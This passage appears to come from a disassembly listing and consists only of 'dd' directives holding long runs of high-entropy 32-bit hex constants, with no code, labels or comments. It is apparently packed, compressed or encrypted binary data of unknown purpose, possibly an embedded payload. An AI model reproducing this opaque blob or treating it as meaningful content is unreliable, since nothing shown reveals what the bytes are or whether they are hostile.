		dd 0EA25B031h, 0C44062D9h, 0AC8F958Ch, 6B8FF9A0h, 0A7744F1Eh
		dd 8088C091h, 0E3E100B6h, 0DBCF0919h, 0C0AAEF2Dh, 0B9932A40h
		dd 10E30558h, 990A213h,	50266B5Eh, 44D49440h, 0C0F14E95h
		dd 0E9682D64h, 0BD77897h, 1874B5B6h, 17E8D801h,	31742161h
		dd 5882245h, 0B893E0FAh, 9FC6D006h, 9B9712A0h, 19103187h
		dd 3E388777h, 0FB7173D7h, 0E3DC1832h, 0DC9809ABh, 0A4E89EDEh
		dd 3CB39D3Ch, 8D556685h, 0D1922843h, 8DC0CDDCh,	74F1B906h
		dd 0A0810189h, 1B37BB73h, 7BC305Fh, 0E7AC5900h,	499FED39h
		dd 0BA6E184Ah, 0CF8658A6h, 0AE7CEFF8h, 0C4CA754Ah, 9283A213h
		dd 0FB021238h, 743B0224h, 7F88B85Ch, 51810062h,	0B8AAF29h
		dd 6EC2E104h, 28A8DB3Dh, 8C134A71h, 0F8B84E54h,	6998B012h
		dd 0E53EF001h, 0E840D366h, 1C35D6DFh, 438763ABh, 2933E72Fh
		dd 0AFE6DEA0h, 1EA868E7h, 0B6C45D94h, 4CD3CAE5h, 35C3E5DAh
		dd 0ABFFEFD1h, 7964220Eh, 0C800921h, 0FFCEFB07h, 165B4202h
		dd 0C0022364h, 535040CCh, 0B604B83Dh, 0EB716EB8h, 78472412h
		dd 80AEDCECh, 4B7714F2h, 856C0C56h, 309070D0h, 29798EB8h
		dd 0C7D48307h, 0C9C091FFh, 1A8949Eh, 0C48BA092h, 0F0C01264h
		dd 0FA9033D9h, 7B07A57Ch, 0B5B15719h, 97651CB0h, 0E54A121Ah
		dd 3A848044h, 84057F8Fh, 58175EEBh, 0DB3FA45Ch,	40485C25h
		dd 0C0DB170Ch, 8D5EE6B0h, 0CC974E25h, 0B30B674h, 9CC270E8h
		dd 0F08594D9h, 0CC900B37h, 96C30671h, 7C3B428Ch, 0B43FF485h
		dd 0C5050604h, 40BD89B0h, 0A0ED6CB0h, 5FE8B608h, 7CD0B174h
		dd 7408D390h, 0BD440005h, 6A09E35h, 9CBCC100h, 739D705Bh
		dd 0A0CEF867h, 97B7BFEBh, 80302404h, 0AD41F0E8h, 15BC90C0h
		dd 901C3861h, 10EF1709h, 0FFC27B7h, 86D96CA0h, 6F509DEEh
		dd 8924D208h, 52096429h, 14C611h, 0BEC63FFFh, 0CBD7CED5h
		dd 0AA0536E8h, 0EBF66838h, 0C00BB080h, 209037ECh, 3C68EA50h
		dd 0B3745538h, 0E53782B4h, 8C65D3F3h, 38B20813h, 49CC005Ah
		dd 0E54238ECh, 4C85214Fh, 468E2C06h, 0E0840008h, 0FB088870h
		dd 0D312CC83h, 0AD009614h, 98AF8B2Fh, 0B8B32519h, 0A15A2840h
		dd 0E114EC92h, 81C0E549h, 84CCEFCDh, 9DDDE0h, 4068B777h
		dd 39715EC0h, 0CE8088B9h, 556E4235h, 0BE1E7C64h, 0C30695Ch
		dd 40930FD5h, 0BFEFF086h, 618CA1D8h, 2D59EEF0h,	7000C25Eh
		dd 6569E507h, 0AE41BB1Ch, 5C0C3F9Eh, 280F0E2h, 0DE897AFCh
		dd 34588396h, 38E7CC30h, 4EB30A0Fh, 5880BD30h, 48E040E8h
		dd 1E347640h, 0EECD90A9h, 392F3EC4h, 2CB4C488h,	49700F24h
		dd 0F9075A01h, 0EC11AE6Dh, 3A38DC50h, 39027998h, 0D806CD4Bh
		dd 0CC7370C1h, 840ECE8h, 427A0B44h, 1CE0F0D9h, 0EF1A7596h
		dd 53F8D01Fh, 6DA0807Ch, 0B3A58441h, 7EF0600h, 0E88335D2h
		dd 0E40BBD90h, 87C3CC6h, 0A0B3D091h, 0A6C39430h, 7EF01001h
		dd 4B31120Fh, 1A387C8Ch, 0A0ED24E5h, 16E29856h,	1A061046h
		dd 332C3CB8h, 0D0079A9h, 886A563Bh, 7C790E9Eh, 5E8293B5h
		dd 846592Eh, 1C6416F0h,	9C27D3A1h, 0BB482A80h, 4F292040h
		dd 0E868439Ah, 28488A9Fh, 0F70F790Ah, 2BDBB692h, 0A2886CBAh
		dd 7EC108Ch, 904C7ED1h,	5DC604B2h, 816C1D3Bh, 3E8E825Ch
		dd 9F31BC21h, 2420DC44h, 0B43BCEEFh, 38E3461Ch,	0A0567A5Ah
		dd 10C5F062h, 0F64982E8h, 24884840h, 6C2E04Ch, 2A70592Ah
		dd 0C3EF13F0h, 11CCE26Fh, 0E78AD2E3h, 157829D4h, 1C4C0CD4h
		dd 13BF8300h, 32E24B67h, 0F62CCF03h, 0F7C1D5BBh, 17507049h
		dd 0E59537D8h, 5973F0A0h, 0C494BA9Fh, 90FC8Ch, 0E674CE39h
		dd 6D21EF17h, 0B64CF090h, 0EF984B4h, 8930790Ch,	0E1A86D14h
		dd 0FE916B8h, 0E898E85Dh, 39729B0h, 1417A490h, 0DE28D4ECh
		dd 4C009860h, 4E532107h, 0E29BF03Fh, 0BE7C07C3h, 938577DDh
		dd 0B00BE536h, 0A0546EB5h, 40EFD418h, 809CB60Fh, 0C9117168h
		dd 58BC475Eh, 294EA73Fh, 9F3CFA2Ch, 25EC0088h, 3E86E499h
		dd 0D2558422h, 0E51C2094h, 28141F50h, 2ECE4F2Dh, 187A8C9Ch
		dd 78DE003Fh, 8ADB0785h, 9E58C571h, 0E90E00B6h,	0ECB379E4h
		dd 0D50B4C4Ah, 0D2621600h, 0DCB24150h, 4917D47Fh, 0D8F0FC06h
		dd 0ED88800Fh, 309E6E10h, 0E5D1FE07h, 0F4A00998h, 0E7335562h
		dd 2F31AE09h, 399004ABh, 60841217h, 0FB0E8A8h, 254494B5h
		dd 50E561EEh, 76853701h
		dd 0D851365Eh, 0CC4CD05h, 4D9D00B7h, 8EDAAA21h,	0C8001EDBh
		dd 0EE83C5A1h, 14EFD567h, 0A48C01EAh, 27786C4Ch, 90786E3Dh
		dd 5AFB225h, 0D0E9E388h, 253D3C16h, 0C05A1370h,	8EFDC98h
		dd 62A1DD64h, 0FFABE861h, 4009C85Fh, 88504049h,	0B906287Bh
		dd 39432E14h, 0CA86401Ch, 28D7184Ch, 8CD558C3h,	0E8DA28E0h
		dd 2C1427E3h, 5720341Eh, 0F0EC6063h, 8929A1BCh,	0F4CC1C00h
		dd 2AA3174h, 71B91C46h,	6EB6C3FEh, 0C803352Fh, 65E53EDFh
		dd 96B01E25h, 0E2FC2E4Ah, 0CCC8B8B4h, 166744E8h, 0DC0ADA28h
		dd 0C270A027h, 59E533AFh, 102AF0F9h, 80C7E8E8h,	3C09B23Ah
		dd 0DEBB07F4h, 8A82128h, 0E91D4689h, 0DEE489h, 0D6B302C4h
		dd 5ED7217h, 5486EC76h,	19A90ACEh, 565A019Ch, 0DCA08568h
		dd 4FE4E033h, 18B19E2Dh, 92945E44h, 34074E88h, 0CCFCB8h
		dd 0DEA979E8h, 78C7Ch, 0E10B22FFh, 65081DCh, 8B49DF17h
		dd 5397B400h, 9FA6E529h, 7C10F009h, 3640796Eh, 481980Bh
		dd 7CEF63C7h, 0C041FBF1h, 0C9866E43h, 5A4F0824h, 887CDCA3h
		dd 9EDAE601h, 0A12866B6h, 0FFE0272Ah, 4803AA80h, 9464756Eh
		dd 7887CE30h, 71C70672h, 0C9551084h, 4088928Ah,	2C716030h
		dd 7B4D29Ah, 80D592F9h,	8C5E6E25h, 32405C60h, 3B43A41h
		dd 691A960h, 0DE0B10CBh, 0A0F8E8ACh, 5E3F4444h,	5CC348A8h
		dd 472B3600h, 0D05F2DD9h, 0EC8BEF12h, 65E8040h,	13BAB3D7h
		dd 251D08h, 0D8E7073Ch,	2101CAD1h, 2F34816h, 306CBA27h
		dd 473FB107h, 11B1C8AEh, 14412DE5h, 8434CAAFh, 116E14B7h
		dd 0D500B824h, 730B9520h, 612C253Eh, 0ED002CCDh, 960E0381h
		dd 0B0EF1671h, 329032F3h, 5E851C71h, 80137E6Eh,	4F73D42Ch
		dd 9CFC916Ch, 50F605E6h, 4800A025h, 2DEFDAE4h, 0DE18BE60h
		dd 1F8DB3D5h, 0BD9435Ah, 0E8C8C010h, 5013C109h,	0C8C07F6Eh
		dd 779DC586h, 7A3B0470h, 0A8E05E91h, 0CED60724h, 0AB80BAD7h
		dd 3787641Fh, 1AF0DFD3h, 698C0940h, 4C6EF401h, 0DFA082E4h
		dd 0D9519D3Bh, 0D2CB3F84h, 8CC84970h, 0F0019598h, 8B39642Bh
		dd 6F05004h, 0C8220CECh, 5B907E2Ah, 0A41A9302h,	0F281BD5Eh
		dd 38F70468h, 800DF364h, 8473E505h, 5B9668C4h, 59D1A4C3h
		dd 0F0167C98h, 0B848809Eh, 31145196h, 0C9BC589Dh, 0D1BC6977h
		dd 304BEC08h, 0A9E10437h, 1C601537h, 1225B8B7h,	0F467EFCCh
		dd 79575A0h, 0F5746E9Ch, 0B940888h, 25572206h, 34081451h
		dd 0FA2D0003h, 7BBA8B8h, 0A3D7E000h, 45167802h,	221B1F56h
		dd 46E800F9h, 6E2E0B99h, 38486D37h, 0C0E3ECF2h,	0FFD43Ch
		dd 2DBC514Eh, 79415E86h, 2E2BB0C2h, 0FB50E35Fh,	0FEC6B847h
		dd 0E64B0098h, 82E0931Fh, 0D0F1790Dh, 0AC980F0Eh, 0D1699E1Dh
		dd 0D8D2FBD3h, 8809F7E7h, 0FEC0F413h, 7E2FE5E6h, 88F8A4CFh
		dd 0F8D2354Bh, 84B04B4Ch, 1CB884C1h, 93F7AB80h,	180D0207h
		dd 8C3D571h, 91439043h,	76C46E64h, 1DFCBA8Eh, 47B989EBh
		dd 857A20AFh, 0B60800C3h, 1EF5D96h, 0C287BCA8h,	0C6C25494h
		dd 2D54E6C7h, 84A0E1E8h, 35BDEFCDh, 77E028C0h, 0A7AC83h
		dd 85C244C4h, 0A8EFD357h, 8184BA5Ch, 0A1617027h, 0AC758081h
		dd 61E36F60h, 0F950CCA8h, 3245D48h, 8E70C249h, 0F6D3E0B6h
		dd 7FEA00A2h, 0B0963944h, 0F2FBE0EFh, 71B40C1h,	38C882B9h
		dd 7BA000E7h, 44019302h, 9EE106CBh, 0F6F69AA2h,	34515224h
		dd 0E178B04Bh, 38515D5Eh, 1635D500h, 0B359523Eh, 0C4984498h
		dd 81DE2E05h, 0D8B0016Dh, 0A8F89934h, 80BD5EDCh, 0B7DFA340h
		dd 2DECF14Ch, 518C989Dh, 747F0BFAh, 48DAE96Eh, 85C08B0h
		dd 641441E4h, 74B0DA9Ch, 0DA60BBE5h, 3702940Eh,	0C83CFCD9h
		dd 0C9762A30h, 0C8985BC3h, 0E50E6F03h, 127AEFB7h, 0DB8DDD0h
		dd 2CB8F711h, 7CA0C0E8h, 126578BBh, 0B01A5EFCh,	0DD733BC8h
		dd 0E5358306h, 0C989452h, 0F2605EDBh, 421629C0h, 8D09714h
		dd 0FCEF4337h, 0CBB400A0h, 55E307D4h, 3F00E8BEh, 6F117C16h
		dd 1D109BD8h, 0A75EE0D6h, 55D890E3h, 84A48C03h,	0FE07F019h
		dd 206B14D8h, 79CB5E84h, 4AF41080h, 2994C815h, 0C7049816h
		dd 5F8C221Ch, 0F0DBE058h, 32B20281h, 0BB02E540h, 441B848h
		dd 0D3584872h, 0F21F10FCh, 3FDFE607h, 9809204Eh, 5E139E59h
		dd 4515031h, 60E193E0h,	0ECB4653Eh, 9C3E2A98h, 6066453Eh
		dd 0A2B7AEB9h, 0E0049C82h, 43856456h, 11396Bh, 66E5DDC4h
		dd 0EF10C281h, 90768CCCh, 0D55EE840h, 3DC9A8Fh,	0EF9585FCh
		dd 36E1E414h, 2A10254Bh, 0F0261C1Ch, 0B8ECF040h, 0E6783E3Ch
		dd 10814F25h, 7BDFDE88h, 4CDBBC09h, 4C00B5BCh, 6614DE3Eh
		dd 554D9D00h, 0DABA5368h, 0F0ED1F1Bh, 6ADD07D4h, 0AC6E6585h
		dd 6D1E0F10h, 1737C00Bh, 2B5B845h, 4F796557h, 0DEE03FE7h
		dd 0DD009A6Ah, 9B7F17D2h, 0B8D37B85h, 0B490B75h, 0F881A0C1h
		dd 7B72E883h, 1810B014h, 0E5D931BDh, 0E0C1545Dh, 0AF77B64h
		dd 136E24FFh, 5084495Ch, 71B709E7h, 41EA6A4h, 0FCA9D7B3h
		dd 41ED19C8h, 60663D18h, 69D2E30Bh, 0EF2098C6h,	8CA4BD57h
		dd 743B4331h, 24D1C580h, 9104E878h, 0B4606E24h,	0ECC8DE11h
		dd 3BA0C29Eh, 70D83AE5h, 673483Ah, 0EC0BDDEEh, 88327738h
		dd 0BB004BD3h, 699D540Ah, 0B78464Ch, 5E90E3BAh,	0F31628C6h
		dd 7000FA3Fh, 39AB57FBh, 6D00056h, 0BCD94BCDh, 0B227E57Dh
		dd 0B6F81118h, 0A9A4D47Ch, 54204AD8h, 658BE5D2h, 0AE8E10A6h
		dd 84947C04h, 9F5CC313h, 0AC104028h, 77049A90h,	6187CF0Bh
		dd 74105CA8h, 0A8CC4F13h, 3DE2385Eh, 3CEFC306h,	4486181Ch
		dd 410FEC98h, 0C3862A82h, 2744F85Eh, 0B4641CF0h, 0F9D26D13h
		dd 0EFD5E802h, 9D6C683Bh, 0F4F765Bh, 0BA86B40Ch, 2608730Ah
		dd 95813D08h, 6E413D97h, 38022AC1h, 43B6C59Eh, 32029714h
		dd 1421413Ah, 68909444h, 0BABBD16Fh, 0DC4525CCh, 0AC9F10B1h
		dd 6455849h, 0ED40D8D7h, 0C8BA8A2h, 0DFBFE560h,	6F0A4038h
		dd 0B0D74D99h, 0FF6E4B07h, 562B30FDh, 4F308A7Ch, 34B29034h
		dd 714EA720h, 0A61F9828h, 0D3520994h, 0AC91F66Eh, 4E501BAh
		dd 160810ACh, 0C1F4B1D4h, 84D038A2h, 0AE00CE58h, 24C9EF46h
		dd 256E4480h, 0D4C676A4h, 9D145E12h, 5EEF30B0h,	200829DDh
		dd 0C1D0AECCh, 56849BCh, 61E5D503h, 0E981B4ACh,	20F88322h
		dd 0C216E764h, 18006AE8h, 0CB13219Ah, 14D22687h, 986C2FA4h
		dd 0F03EA724h, 330B0290h, 0E0C6DA42h, 48519A24h, 59F89F09h
		dd 0AC002770h, 0CCE5C67Eh, 0E0509060h, 566D506h, 0EE89EDF5h
		dd 5EE40060h, 9D396BE6h, 63D06F00h, 1CD99816h, 64D81F53h
		dd 7670004Fh, 7C9E3543h, 4A10BC60h, 0BFED1EC2h,	2E8014AFh
		dd 8FEEE47Dh, 46E0D51Dh, 12921F40h, 0C17F7E78h,	53ED72B0h
		dd 84DC45AEh, 0CD0813DCh, 27A83810h, 84D404C6h,	7CDDD092h
		dd 4B19B134h, 14742F7Eh, 6ECE48ACh, 0E3BC80F6h,	94B721F6h
		dd 8CCE5814h, 4C09DF10h, 666010BCh, 6D122C7Fh, 0A2375818h
		dd 8D365B3Bh, 38F0ACE8h, 9DE70848h, 38923CB1h, 0C1209A68h
		dd 7F1F28h, 9B63DE4Ch, 0B5136412h, 0B0449F6Ch, 0CA00E6C8h
		dd 5288C9D5h, 0E5E10700h, 1624F27Eh, 4DA00062h,	0FB87F176h
		dd 8493D6DAh, 5CE4905h,	0A1370090h, 0D30B00A0h,	0C0621723h
		dd 6501819Eh, 0A32CF906h, 5860B5E2h, 73DE00BCh,	98F2C788h
		dd 9E00B279h, 0FAAED052h, 0C0D6596Dh, 0B320D590h, 0A412C7CCh
		dd 4CD36188h, 1720EE70h
		dd 0CD3457E3h, 0DDC80CB8h, 419BFA1Eh, 7469682h,	0C4088AE5h
		dd 6E12642h, 11671016h,	31B5B8D1h, 6E1040F2h, 50A00019h
		dd 8A81889Fh, 4ED40306h, 1D6C599Ch, 0E8E4F0D4h,	8FC3897h
		dd 0C0124AC5h, 4C1C49F0h, 703C885Eh, 914CA073h,	0E9E280CEh
		dd 0C9501B13h, 0C447EC0Bh, 0EFD313A0h, 0EE00A06Dh, 0CBD8592Eh
		dd 99C1CA03h, 0AFD0C020h, 8D900EAh, 6056EBE1h, 7300A08Eh
		dd 7994C7D2h, 3141CA2h,	35B08472h, 0FC8C106Eh, 0B8315B20h
		dd 88BED9F8h, 0D7EF7206h, 651270CCh, 0BCF29CA8h, 7000B059h
		dd 0C406A9FEh, 0F0956D2h, 0D250E545h, 936401A8h, 889ED026h
		dd 9C21EEh, 0A7B5F008h,	6E4F58C2h, 38FCA0C8h, 16EF74DCh
		dd 83739F12h, 0AF90E338h, 173BB765h, 5F268260h,	5052475Eh
		dd 0C4623A70h, 0AF05C240h, 0EA6DF410h, 944B3CFCh, 16940918h
		dd 3B845C11h, 2CF01828h, 12787921h, 9DCA8B5h, 1EEA417h
		dd 86F34562h, 0BC933068h, 6D5D8038h, 18AAF413h,	61FDA1F0h
		dd 52CD185h, 10440002h,	0BC26944h, 4D4881E2h, 0B820D68Ah
		dd 768B1744h, 0E8A0C031h, 0DD2A6DCAh, 0CF7FC8EBh, 69B0FBE8h
		dd 0CC185165h, 0B080CCB8h, 0EF17B311h, 0C0594931h, 50409CABh
		dd 46A5348h, 9BF08203h,	3F4D00DCh, 3D47FCh, 83C50663h
		dd 0A0AE8808h, 3BA85702h, 579EE4C4h, 2808F008h,	0E81480FCh
		dd 0C81C62F6h, 9CC68F18h, 0F7C59F8h, 0E2CC109Dh, 15F701FBh
		dd 0C0EF5D8Eh, 7B287474h, 3F949700h, 0DF07C8E1h, 0D857609Ch
		dd 0E5314E96h, 50742A4Dh, 38B8C243h, 2419709h, 0A3885D4h
		dd 0B893AC25h, 80049D12h, 62525AC9h, 0CD014DC8h, 0DCF0D107h
		dd 0C5F203A9h, 0E64C3B5Eh, 78A8ECE5h, 1880FC5Bh, 2E6ECEB0h
		dd 6A405584h, 0BD658444h, 5518F29Eh, 0D1A897FBh, 0E0B0500Fh
		dd 404EAC5Fh, 246300FFh, 1FED46EFh, 7005C88h, 0EA1AADD3h
		dd 0FC71C65Ah, 0A8CB6784h, 2E8F6096h, 61071601h, 0F74C29C8h
		dd 1A1A0A3h, 4679B520h,	0D55CDD06h, 0F50420BFh,	77E078CEh
		dd 0C0B0B412h, 982BBD30h, 0BC5E2C29h, 71853400h, 0C90A945Eh
		dd 0CC463BE0h, 9E4899B5h, 804C256Fh, 0AEE45AECh, 2DE5763Ch
		dd 82A04DE9h, 2F595EE1h, 2D00D859h, 0C48445FAh,	0DDCE32A7h
		dd 0B1575C20h, 4D71E848h, 0A7EF4085h, 0C660F865h, 7A1887Fh
		dd 11FD25EDh, 8450847Eh, 0E5080358h, 984A2BECh,	0B0E92084h
		dd 57016613h, 5C1C8EA4h, 4A7AB0D0h, 5ECE0070h, 7480D768h
		dd 50009D4Ch, 0C97594D8h, 0A425E1E3h, 71EC0770h, 0BC7BD6Ah
		dd 0F17F9884h, 0DAD8976Ch, 0E0DB2882h, 266E20F4h, 1E48E7F7h
		dd 0E1FC12D6h, 0C0663E9Ch, 0E60BCA0h, 3F496E49h, 38114D1h
		dd 0FC8BE5C5h, 19EC407Bh, 83C9226Eh, 0E020935Ah, 0D6E4695Eh
		dd 0DC7CF088h, 5BF30F25h, 2C221FF4h, 0CC016974h, 2AF35B6Eh
		dd 9FA03CDCh, 0E82E641Ch, 0EF8F9018h, 5428DD61h, 74223E4Bh
		dd 5CF8C2CFh, 0E95E8E18h, 2F8CC92h, 2C913A4Fh, 1C6C0A6Eh
		dd 0E5D40B03h, 69D15181h, 80C028B8h, 5E18A138h,	9C254BF9h
		dd 305AEC20h, 3A41F420h, 0E9F8EFh, 0E3BB7CE5h, 0AD1CD962h
		dd 98DCF616h, 0E4009C13h, 6890BD2Fh, 7270009Dh,	5ED1544Bh
		dd 38B47C1Ah, 18ECE092h, 63E3DB04h, 960E275h, 768732DAh
		dd 0DF010898h, 0F0A29E09h, 8C4499F0h, 0E3D83884h, 674BDA01h
		dd 177BF0A5h, 97E33C02h, 3CE011FAh, 4904567Dh, 86EFF09Ch
		dd 14F91084h, 10DDC10h,	383D81A0h, 0E1E10CBBh, 41AF1420h
		dd 82C14Bh, 5E34EFDFh, 0F0E020DEh, 10C094ABh, 0D85E5928h
		dd 29C8C93Ch, 0A84334CAh, 76AF8DD0h, 0B4D1A32Ch, 74E24500h
		dd 90538ECh, 31E95D06h,	0F881D4ECh, 0D1AD2042h,	0E1835113h
		dd 45540Fh, 15A803E8h, 8F673A1Eh, 0BC22E512h, 33E701D8h
		dd 52958C9Bh, 0A9C88E30h, 0CA2F4054h, 53EC40FCh, 8029153Ah
		dd 469CE7C7h, 161FD9h, 0D1174468h, 53DF0895h, 0E9054973h
		dd 0A015296h, 949054FDh, 89F727h, 0ABE76480h, 0E81398ECh
		dd 0A0E07615h, 64A803BAh, 0FD07BEC2h, 48D9ACA8h, 72761600h
		dd 0F08BF740h, 0CC7C50A9h, 0FCA70B97h, 0B0831B73h, 65F89D79h
		dd 960980EDh, 0FA777A5Eh, 0C0924C04h, 0B0236C4h, 8244C937h
		dd 0C4220AFh, 5E2FACEEh, 1DB48557h, 0D1810C5Fh,	0B893DEF9h
		dd 0C2C6F842h, 1D4C7CC0h, 0F48DD3F0h, 74FE51BCh, 7E9D100h
		dd 646F66D4h, 6E41B71Dh, 3650963Bh, 0DC0A9461h,	0D77E9040h
		dd 4E88004Ch, 0CDCAED07h, 6E1254FCh, 34127A11h,	79C9A4B3h
		dd 3990F600h, 0E004DCAh, 84983866h, 1858CCF8h, 4070E46Eh
		dd 95093722h, 0A6A5E1A1h, 9D18498Ch, 62EC12h, 0CCAC8C54h
		dd 20B9C089h, 96F97380h, 50BE58BAh, 0FFFB6102h,	18DBB68Ch
		dd 0A6130A10h, 0FF14415Ah, 7069AE8Eh, 70E58AEh,	0E0035DEFh
		dd 3154ADBAh, 0D47D2E25h, 0DF5E84D8h, 0E40FAB8Eh, 4CE51612h
		dd 6EE4A16Bh, 4702F021h, 1B842E00h, 0D5F1A203h,	0D35EC635h
		dd 70878DCh, 3FDAE6C9h,	84CB14E5h, 0C63CEC80h, 5570118Ah
		dd 1060C8A4h, 95DFFE83h, 0FBA7C498h, 8F5F261Dh,	92EF7403h
		dd 4D20A458h, 0E4F8BF8Bh, 1EA03097h, 0D8DC8210h, 9FA9400h
		dd 27D4473Dh, 9040525Eh, 6F381D3Bh, 1329058Ah, 0CCA001C0h
		dd 802A41FFh, 52EC8906h, 440164Ch, 0F87FB2B0h, 0DCB0C039h
		dd 0C90B139Eh, 5B17BC5Eh, 8F108914h, 965F504Ah,	24574750h
		dd 0D6C22CDBh, 9FE085C7h, 2D32C402h, 17A8F070h,	623CDFE1h
		dd 18040860h, 967001AEh, 632A0173h, 6FFD102Ch, 0FE0FDB05h
		dd 0DA1C0491h, 6FAC8C1Bh, 0F4C0D24Bh, 9FDF07D7h, 0C864A812h
		dd 388D7730h, 0B645FBE3h, 34DA4014h, 51276E50h,	80AC443Eh
		dd 38EBC9C8h, 0E589675Dh, 348A5327h, 987AA56Ch,	0FAC489BDh
		dd 0CD3C4A88h, 0B1403C44h, 69ECB073h, 5B1A3811h, 4A95FA01h
		dd 0C788E53Eh, 61163800h, 0A0A54186h, 0D8FB5CB0h, 100840h
		dd 1DDCD9E1h, 5334D760h, 5E2E7AEAh, 292C82Ah, 8CA194A8h
		dd 0E435D0D1h, 604A5E25h, 20E53B40h, 0C75BAF66h, 0BF94D444h
		dd 80DC8B04h, 0D0F00B48h, 0B10B24B0h, 707F24E5h, 586101E4h
		dd 40FF3F44h, 0F0E4419Fh, 0F80B2B60h, 0E8444041h, 7C8597FBh
		dd 2AEC0BC6h, 0D03B1001h, 10842CB3h, 316B5C6Fh,	3B382841h
		dd 43967421h, 4048BC20h, 5E05DFB6h, 747FF345h, 40F81096h
		dd 3D736F25h, 24279C92h, 0C070139Fh, 0E85B2F0h,	0B55DCE1Ch
		dd 58A9680h, 553087D8h,	0C6510804h, 0D49A00F8h,	0D3CBB71Fh
		dd 9430E47Dh, 0B60D38D1h, 43490CA1h, 0FD40868Eh, 0A900BC7Ah
		dd 0E09C849Ah, 31E4DE85h, 1530E6E1h, 0DD6DD475h, 0D206E801h
		dd 38629E31h, 794E4BF0h, 0EEC30761h, 30736DDCh,	0FC473E4Dh
		dd 0B5825B1Fh, 189CE44Ch, 0C41501EAh, 0BF8EC69Dh, 0B2DBEC5Fh
		dd 0E7B0F400h, 91F9F8C0h, 31790CFDh, 9678BAEEh,	0C986CF0Bh
		dd 9191E01Bh, 0E32851AEh, 17202EF3h, 0B1BE3E6Eh, 64180748h
		dd 0A53818E7h, 0CE4B9C1Dh, 8E3152C3h, 0B21980D0h, 11C12805h
		dd 0B4860598h, 7017F6Dh, 0C0C207CCh, 0E7A2A617h, 0B1C0407Dh
		dd 0FF561063h, 0D78639DFh, 2040F1F2h, 18CF5D1Fh, 10F7B7EEh
		dd 0AE58C181h, 10AD302Ah, 0A09944E7h, 1B690DB0h, 1892D006h
		dd 0E3FDE0C0h, 0C0579C29h, 2CEB050Ah, 0FE7F4200h, 3D810A1h
		dd 0DA308103h, 3FA299FDh, 0DB851880h, 50650EE4h, 0E803C5A8h
		dd 196A2CE7h, 40F69510h, 8E1B10DFh, 7C13F0A2h, 519F28BEh
		dd 0FC5D1824h, 0E43A7859h
		dd 18A6A031h, 388EFFDAh, 4C924E15h, 86096E30h, 0AEC2D501h
		dd 0DAAA653Eh, 0C4012825h, 0CC5077E7h, 928457EEh, 0D48C12Ch
		dd 8010826Ah, 8E6D9941h, 9074EAEFh, 6C9C000Ch, 0B8D18B52h
		dd 54F0C79Dh, 0C60508A0h, 3400E5B8h, 403F4D82h,	1BB2A483h
		dd 5018A55Dh, 0D7F04FD0h, 88C10828h, 0BC6358h, 779C8648h
		dd 523AEE03h, 0BD30F89Dh, 0EAC48599h, 889CC9CAh, 30910B60h
		dd 903B726Dh, 49900Ch, 71CCCDAAh, 0C6636517h, 7B91F201h
		dd 31869CB4h, 13AF4BFCh, 64AD0FDh, 985837ADh, 0B5E3061Eh
		dd 10393A0Ch, 0A7E101A3h, 0A2E7AA54h, 0DED44061h, 840336CFh
		dd 6CEED474h, 94A812CDh, 15144091h, 3C145C44h, 0DE78C07Ch
		dd 3D0840EFh, 8D6010E4h, 0C670E328h, 886D05DDh,	37C5CAEFh
		dd 0B221B0D4h, 410932CDh, 10E905D9h, 0CA18734h,	241EEFAEh
		dd 0B9409D10h, 0CC6A5171h, 64AC40E6h, 0D3120665h, 281B4EEEh
		dd 840F7202h, 616CEFh, 0BF2DE54Bh, 0E6236507h, 87EEE406h
		dd 425E5D3Eh, 8A9585FFh, 0DA0278D4h, 82A57D39h,	803C4FC0h
		dd 0B7B49D08h, 0AD480115h, 36D1BC79h, 571E4h, 0EE4C8794h
		dd 705E9731h, 6C409984h, 0CE55695Dh, 9B2E83D0h,	0CCE47EA1h
		dd 6E0434E1h, 93479000h, 154BD5A5h, 1741006Bh, 0FA06F658h
		dd 28C0B57Ah, 923C7195h, 1A80A0A9h, 84E8C0A8h, 0B63DCD4Fh
		dd 0C8096D01h, 33DB7FEAh, 9EF11C25h, 58723C03h,	2C036B24h
		dd 1490EF05h, 0FF0FB031h, 0A42244E1h, 92DFF900h, 7F35F85Dh
		dd 0DF28734Dh, 104F8E0Dh, 422AAFDh, 0EE6C9507h,	61803AD3h
		dd 355918EFh, 5DF40CACh, 58E4BA33h, 0EF190C3Bh,	0CC48934Dh
		dd 0D60A6D0Eh, 6F4884D9h, 0EEA07087h, 3E8B01E8h, 58184F86h
		dd 5173185Ch, 4892313Ah, 1C7F2688h, 860B413h, 4D6D4128h
		dd 0DA06D4EFh, 68115AEEh, 0AEAA2900h, 0B7B23897h, 13303CA9h
		dd 4005A200h, 0F4066D42h, 8C8990A9h, 0C86258A0h, 0BA5200A8h
		dd 630D477Eh, 8A692CEEh, 0FAC0029h, 0A04814F3h,	549BEF40h
		dd 7D9C21h, 0B1FDEE05h,	6CE78B94h, 2C558740h, 74836Ah
		dd 0B4AA53D7h, 0DC26B07Bh, 0E40C4073h, 19740B5h, 70EBDF4Eh
		dd 413E4195h, 702D79E8h, 0E2AF9CDh, 1BF880E5h, 5182E780h
		dd 0DBC8BC57h, 0E4E1671Ch, 6B5BC399h, 8A3C1800h, 0FDFE7EA0h
		dd 606C90B5h, 25FCB866h, 0E00D3E6Dh, 1042F44Eh,	1ECE02Bh
		dd 44036200h, 0A0113F59h, 5C6B00C3h, 8D4DD1AAh,	0DBF83D1Ch
		dd 0E60022FCh, 23F5FC5Ah, 0F8664E61h, 4F7D0C46h, 0E950A574h
		dd 1FC2F300h, 0DE3A43BAh, 23141DE5h, 0D638705Dh, 0AB00FB6Dh
		dd 0D746577Dh, 0FA2504h, 0A21634FDh, 5B0C0523h,	80D3FC0Ch
		dd 18E65056h, 781C4B03h, 0A301A81h, 0FE6588DEh,	620DFFFh
		dd 60A18023h, 0A828A61Ch, 82F61AC7h, 3201626h, 40AFA83h
		dd 0E01D5557h, 5980517Bh, 0BA4DFEE0h, 0A848C3F5h, 43C74483h
		dd 0DBC32606h, 0C99F7FB8h, 2700A6FCh, 0B0BEBFDAh, 3D956A8h
		dd 4EC580E5h, 0A80D3753h, 48E389CEh, 101F7CCh, 21E0863Fh
		dd 0E0FFE19Bh, 0C3F0366Bh, 99F85EF8h, 29504D79h, 12075BACh
		dd 23B4DCAEh, 15111D20h, 9E0558DEh, 8DB80A33h, 0AD00C8F6h
		dd 1502E84Eh, 566F3Dh, 370AB0E0h, 784D349Eh, 0A798A41Dh
		dd 3812830Ch, 7B9CA891h, 0B1E44Bh, 3E5CCB8h, 644DD5B7h
		dd 0DBB080EFh, 62932926h, 0A94E18F8h, 0CA96D0A6h, 8A0DD23Ah
